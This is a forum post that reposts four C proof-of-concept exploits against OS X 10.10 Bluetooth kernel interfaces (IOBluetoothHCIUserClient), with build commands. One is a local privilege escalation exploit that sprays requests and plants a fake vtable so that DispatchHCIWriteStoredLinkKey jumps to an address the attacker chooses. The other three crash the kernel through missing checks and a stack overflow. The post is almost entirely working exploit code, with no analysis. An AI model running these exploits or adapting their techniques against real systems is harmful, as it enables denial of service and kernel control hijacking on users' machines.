Jump to content
Aerosol

OS X 10.10 Bluetooth Multiple Vulnerabilities

Recommended Posts

OS X 10.10 Bluetooth DispatchHCIWriteStoredLinkKey - Crash PoC

/*
* lpe-issue1.c
* Written for Mac OS X Yosemite (10.10.1) by @ joystick and @ rpaleari.
*
* Exploits IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey()
*
* gcc -Wall -o lpe-issue1{,.c} -framework IOKit
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

#define SIZE 0x1000

struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};

#ifndef bswap64
# define bswap64(num) \
( (((uint64_t)(num) << 56) ) \
| (((uint64_t)(num) << 40) & UINT64_C(0x00FF000000000000)) \
| (((uint64_t)(num) << 24) & UINT64_C(0x0000FF0000000000)) \
| (((uint64_t)(num) << 8) & UINT64_C(0x000000FF00000000)) \
| (((uint64_t)(num) >> 8) & UINT64_C(0x00000000FF000000)) \
| (((uint64_t)(num) >> 24) & UINT64_C(0x0000000000FF0000)) \
| (((uint64_t)(num) >> 40) & UINT64_C(0x000000000000FF00)) \
| (((uint64_t)(num) >> 56) ) )
#endif

void create_requests(io_connect_t port)
{
struct BluetoothCall a;
uint32_t i;
kern_return_t kr;

for (i = 0; i < 7; i++) {
a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
a.sizes[i] = SIZE;
}

/* DispatchHCIRequestCreate() */
a.index = 0x0;

*(uint64_t *)a.args[0] = 5*1000; /* Timeout */
memset((void *)a.args[1], 0x81, 0x1000);
memset((void *)a.args[2], 0x82, 0x1000);
memset((void *)a.args[3], 0x83, 0x1000);
memset((void *)a.args[4], 0x84, 0x1000);
memset((void *)a.args[5], 0x85, 0x1000);
memset((void *)a.args[6], 0x86, 0x1000);

for(i = 0; i < 500; i++) {
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
120, /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */

if(kr == 0xe00002bd) /* Full */
break;
}
}

int main(void) {
struct BluetoothCall a;
int i;
void *landing_page = calloc(SIZE, sizeof(char));

/* Init a */
for (i = 0; i < 7; i++) {
a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
a.sizes[i] = SIZE;
}

/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));

if (!service) {
return -1;
}

/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

/* Populating with fake requests. */
create_requests(port);

/* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */
a.index = 42;
/* Req number */
*((uint32_t *)a.args[0]) = 1;
/* num_of_keys */
*((uint32_t *)a.args[1]) = 0x20;

/* Padding */
memset((void *)a.args[3], 0x33, 152);
/* mov rdi, [r14+0AB8h] */
*((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page);
/* mov rax, [rdi] */
*((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page;
/* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */
*((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242;

/* Here some fixing to the vtable is required to return cleanly after the exploit */

#if 0
/* Debug print */
for(i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");
#endif

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
120, /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);

return IOServiceClose(port);
}

Source

OS X 10.10 Bluetooth DispatchHCICreateConnection - Crash PoC

/*
* crash-issue1.c: Written for Mac OS X Yosemite (10.10) by @ rpaleari and @ joystick.
*
* Exploits a missing check in
* IOBluetoothHCIUserClient::DispatchHCICreateConnection() causing a panic.
*
* gcc -Wall -o crash-issue1{,.c} -framework IOKit
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

#define SIZE 0x1000

struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};

int main(void) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));

if (!service) {
return -1;
}

/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

printf(" [+] Opened connection to service on port: %d\n", port);

struct BluetoothCall a;
int i;

for (i=0; i<7; i++) {
a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
a.sizes[i] = SIZE;
}

/* This value causes IOMalloc() to fail */
a.args[6] = 0x0;
a.sizes[6] = 0x80000041;
a.index = 0x06; /* DispatchHCICreateConnection() */

for(i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
120, /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);

return IOServiceClose(port);
}

Source

OS X 10.10 Bluetooth TransferACLPacketToHW - Crash PoC

/*
* crash-issue3.c: Written for Mac OS X Yosemite (10.10) by @ rpaleari and @ joystick.
*
* Exploits a missing check in
* IOBluetoothHCIController::TransferACLPacketToHW() to trigger a panic.
*
* gcc -Wall -o crash-issue3{,.c} -framework IOKit
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};

int main(void) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));

if (!service) {
return -1;
}

/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

printf(" [+] Opened connection to service on port: %d\n", port);

struct BluetoothCall a;

memset(&a, 0, sizeof(a));

a.sizes[0] = 0x1000;
a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));

a.sizes[1] = 0x1000;
a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));
memset((void *)a.args[1], 0x22, 0x1000);


/* Call DispatchHCISendRawACLData() */
a.index = 0x63;

/* Debug */
for(int i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");
fflush(stdout);

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
sizeof(a), /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);

return IOServiceClose(port);
}

Source

OS X 10.10 Bluetooth BluetoothHCIChangeLocalName - Crash PoC

/*
* crash-issue2.c: Written for Mac OS X Yosemite (10.10) by @ rpaleari and @ joystick.
*
* Triggers a panic overwriting a stack_canary.
*
* gcc -Wall -o crash-issue2{,.c} -framework IOKit
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};

int main(void) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));

if (!service) {
return -1;
}

/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

printf(" [+] Opened connection to service on port: %d\n", port);

struct BluetoothCall a;

a.sizes[0] = 0x1000;
a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));

/* This arguments overflows a local buffer and the adjacent stack canary */
a.sizes[1] = 264;
a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));
memset((void *)a.args[1], 'A', a.sizes[1]);

/* Call IOBluetoothHCIUserClient::DispatchHCIReadLocalName() */
a.index = 0x2d;

/* Debug */
for(int i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");
fflush(stdout);

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
sizeof(a), /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);

return IOServiceClose(port);
}

Source

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...